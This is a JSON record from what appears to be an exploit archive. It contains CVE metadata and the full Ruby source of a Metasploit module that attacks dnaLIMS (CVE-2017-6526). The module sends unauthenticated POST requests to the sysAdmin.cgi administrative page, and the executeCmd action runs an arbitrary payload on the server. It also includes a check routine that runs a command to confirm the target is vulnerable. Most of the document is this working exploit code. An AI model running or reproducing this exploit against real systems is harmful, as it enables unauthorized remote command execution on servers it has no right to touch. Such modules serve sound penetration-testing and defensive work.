{"exploit":{"id":"MSF-linux--http--dnalims_admin_exec","name":"dnaLIMS Admin Module Command Execution","description":"This module utilizes an administrative module which allows for command execution. This page is completely unprotected from any authentication when given a POST request.","cves":["CVE-2017-6526"],"author":"h00die, flakey_biscuit","published":"2017-03-08","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/9e02ac35d81e745446e23f3b552dce2eea215a8a/modules/exploits/linux/http/dnalims_admin_exec.rb","path":"modules/exploits/linux/http/dnalims_admin_exec.rb","revision":"9e02ac35d81e745446e23f3b552dce2eea215a8a","filename":"dnalims_admin_exec.rb","vulnerabilities":[{"id":"CVE-2017-6526","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in dnaTools dnaLIMS 4-2015s13. dnaLIMS is vulnerable to unauthenticated command execution through an improperly protected administrative web shell (cgi-bin/dna/sysAdmin.cgi POST requests).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-6526","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-6526"},"updatedAt":"2024-08-05T15:33:19.831Z","retrievedAt":"2026-11-26T22:01:37.131Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--dnalims_admin_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--dnalims_admin_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--dnalims_admin_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--dnalims_admin_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'dnaLIMS Admin Module Command Execution',\n        'Description' => %q{\n          This module utilizes an administrative module which allows for\n          command execution.  This page is completely unprotected from any\n          authentication when given a POST request.\n        },\n        'Author' => [\n          'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC\n          'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2017-6526'],\n          ['US-CERT-VU', '929263'],\n          ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/']\n        ],\n        'Platform' => %w(linux unix),\n        'Arch' => ARCH_CMD,\n        'Payload' => {\n          'Space' => 1024,\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there\n                        }\n        },\n        'Targets' => [\n          [ 'Automatic Target', {}]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2017-03-08',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/'])\n      ], self.class\n    )\n  end\n\n  def check\n    begin\n      res = send_request_cgi(\n        'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),\n        'method' => 'POST',\n        'vars_post' => {\n          'investigator' => '',\n          'username' => '',\n          'navUserName' => '',\n          'Action' => 'executeCmd',\n          'executeCmdData' => 'perl -V'\n        }\n      )\n      if res && res.body\n        if /Summary of/ =~ res.body\n          Exploit::CheckCode::Vulnerable('The target is vulnerable')\n        else\n          Exploit::CheckCode::Safe('The target is not vulnerable')\n        end\n      else\n        Exploit::CheckCode::Safe('The target is not vulnerable')\n      end\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n    end\n  end\n\n  def exploit\n    begin\n      vprint_status('Sending Exploit')\n      res = send_request_cgi(\n        'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'),\n        'method' => 'POST',\n        'vars_post' => {\n          'investigator' => '',\n          'username' => '',\n          'navUserName' => '',\n          'Action' => 'executeCmd',\n          'executeCmdData' => payload.encoded,\n        }\n      )\n      vprint_good(res.body)\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n    end\n  end\nend\n","sha256":"6951fe8fb74d09a204ef73dc63d85be7b53ac442d148812982cf1c2126f708b7","bytes":3238,"fetchedAt":"2026-11-26T22:01:36.907Z","encoding":"utf-8 (display only; download retains original bytes)"}